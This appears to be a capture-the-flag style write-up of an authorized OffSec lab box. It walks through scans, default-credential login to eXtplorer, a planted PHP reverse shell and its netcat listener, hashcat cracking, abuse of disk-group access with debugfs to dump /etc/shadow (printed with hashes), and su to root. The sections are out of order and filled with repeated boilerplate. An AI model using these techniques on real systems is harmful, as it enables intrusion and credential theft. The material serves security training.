Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Overview
This lab demonstrates exploiting a file upload vulnerability in eXtplorer to achieve remote code execution by uploading a PHP web shell. After initial compromise as www-data, learners escalate privileges by exploiting the disk group membership of user dora, using debugfs to access sensitive system files (/etc/passwd, /etc/shadow), cracking the root password hash with john, and obtaining root access.
Learning objectives
After completing this lab, learners will be able to:
- Enumerate services to discover eXtplorer running on port 80.
- Exploit a file upload vulnerability to deploy a PHP web shell and achieve RCE as www-data.
- Enumerate system files to identify the user dora with disk group privileges.
- Abuse debugfs to read /etc/passwd and /etc/shadow and retrieve password hashes.
- Crack the root password hash using john and gain root access via su.
Scenario
This lab demonstrates exploiting a file upload vulnerability in eXtplorer to gain a foothold on the system by uploading a PHP web shell. Privilege escalation is performed by abusing the target user’s membership in the disk group, allowing unrestricted access to sensitive system files such as /etc/passwd and /etc/shadow. Learners will crack the root password hash and gain full root access. This lab highlights file upload exploitation, sensitive file abuse, and password cracking for privilege escalation.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/Extplorer]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.206.16/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.206.16/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
wp-content (Status: 301) [Size: 321] [--> http://192.168.206.16/wp-content/]
wp-includes (Status: 301) [Size: 322] [--> http://192.168.206.16/wp-includes/]
wp-admin (Status: 301) [Size: 319] [--> http://192.168.206.16/wp-admin/]
wordpress (Status: 301) [Size: 320] [--> http://192.168.206.16/wordpress/]
filemanager (Status: 301) [Size: 322] [--> http://192.168.206.16/filemanager/]
server-status (Status: 403) [Size: 279]
Progress: 26583 / 26583 (100.00%)
===============================================================
FinishedThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Attempt to recover a password from the captured hash material.
└─$ hashcat -m 3200 dora.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v7.1.2) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
* Device #01: cpu-sandybridge-Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz, 2944/5889 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (1247 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS:doraemon
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/C...T7CjjS
Time.Started.....: Mon Jun 29 20:40:10 2026, (11 secs)
Time.Estimated...: Mon Jun 29 20:40:21 2026, (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 134 H/s (14.80ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1504/14344385 (0.01%)
Rejected.........: 0/1504 (0.00%)
Restore.Point....: 1488/14344385 (0.01%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:224-256
Candidate.Engine.: Device Generator
Candidates.#01...: 234567 -> bunny
Hardware.Mon.#01.: Util: 89%
Started: Mon Jun 29 20:39:55 2026
Stopped: Mon Jun 29 20:40:23 2026This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
su dora
Password: doraemonThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
$ id
id
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Run the helper or analysis script used in this lab step.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# Run the helper or analysis script used in this lab step.
python3 -c 'import pty;pty.spawn("/bin/bash")'This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
dora@dora:/$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
## In Linux, being in the disk group grants raw read and write access to the underlying storage devices (e.g., /dev/sda). Users can abuse this to bypass operating system permissions and interact directly with the filesystem, effectively granting root-level control.This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output confirms the effective user and privilege level of the current session.
id
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
dora@dora:~$ df -h /
df -h /
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/ubuntu--vg-ubuntu--lv 9.8G 5.1G 4.3G 55% /This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
dora@dora:~$ lsblk
lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 62M 1 loop /snap/core20/1611
loop1 7:1 0 63.3M 1 loop /snap/core20/1852
loop2 7:2 0 67.8M 1 loop /snap/lxd/22753
loop3 7:3 0 49.9M 1 loop /snap/snapd/18596
loop4 7:4 0 91.9M 1 loop /snap/lxd/24061
sda 8:0 0 16G 0 disk
├─sda1 8:1 0 1M 0 part
├─sda2 8:2 0 1.8G 0 part /boot
└─sda3 8:3 0 14.3G 0 part
└─ubuntu--vg-ubuntu--lv 253:0 0 10G 0 lvm /
sr0 11:0 1 1024M 0 romThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
dora@dora:~$ debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs 1.45.5 (07-Jan-2020)This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
debugfs: dump /etc/shadow /tmp/shadow
dump /etc/shadow /tmp/shadow
debugfs: quit
quitThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
dora@dora:~$ ls /tmp
ls /tmp
shadowThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Read the file contents for useful configuration or credential data.
dora@dora:~$ cat /tmp/shadow
# Read the file contents for useful configuration or credential data.
cat /tmp/shadow
root:$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:19453:0:99999:7:::
daemon:*:19235:0:99999:7:::
bin:*:19235:0:99999:7:::
sys:*:19235:0:99999:7:::
sync:*:19235:0:99999:7:::
games:*:19235:0:99999:7:::
man:*:19235:0:99999:7:::
lp:*:19235:0:99999:7:::
mail:*:19235:0:99999:7:::
news:*:19235:0:99999:7:::
uucp:*:19235:0:99999:7:::
proxy:*:19235:0:99999:7:::
www-data:*:19235:0:99999:7:::
backup:*:19235:0:99999:7:::
list:*:19235:0:99999:7:::
irc:*:19235:0:99999:7:::
gnats:*:19235:0:99999:7:::
nobody:*:19235:0:99999:7:::
systemd-network:*:19235:0:99999:7:::
systemd-resolve:*:19235:0:99999:7:::
systemd-timesync:*:19235:0:99999:7:::
messagebus:*:19235:0:99999:7:::
syslog:*:19235:0:99999:7:::
_apt:*:19235:0:99999:7:::
tss:*:19235:0:99999:7:::
uuidd:*:19235:0:99999:7:::
tcpdump:*:19235:0:99999:7:::
landscape:*:19235:0:99999:7:::
pollinate:*:19235:0:99999:7:::
usbmux:*:19381:0:99999:7:::
sshd:*:19381:0:99999:7:::
systemd-coredump:!!:19381::::::
lxd:!:19381::::::
fwupd-refresh:*:19381:0:99999:7:::
dora:$6$PkzB/mtNayFM5eVp$b6LU19HBQaOqbTehc6/LEk8DC2NegpqftuDDAvOK20c6yf3dFo0esC0vOoNWHqvzF0aEb3jxk39sQ/S4vGoGm/:19453:0:99999:7:::
dora@dora:~$This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output contains credential-related evidence recovered during the lab.
## Using hashcat with -m 1800
$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:explorerInitial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/Extplorer]
# Map exposed services and versions on the target.
└─$ nmap -sCV -p- 192.168.206.16
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-29 19:56 -0400
Nmap scan report for 192.168.206.16
Host is up (0.019s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: WordPress › Setup Configuration File
|_Requested resource was http://192.168.206.16/wp-admin/setup-config.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.04 secondsBrowsing the website on port 80, it redirects us to
/wp-admin/setup-config.phpAs per gobuster, trying different paths and we found a filemanager path
Login
admin:adminworkedEdited the index.php file inside the wp-content with pentest monkey php reverse shell
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.206.16] 38220
Linux dora 5.4.0-146-generic #163-Ubuntu SMP Fri Mar 17 18:26:02 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
00:13:43 up 19 min, 0 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can\'t access tty; job control turned off
# Run the helper or analysis script used in this lab step.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# Execute the next evidence-gathering step in the authorized lab.
www-data@dora:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)- in the file manager, we find a unusual file called
.htuser.php
Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
dora@dora:~$ su root
su root
Password: explorer
root@dora:/home/dora# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dora:/home/dora#Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.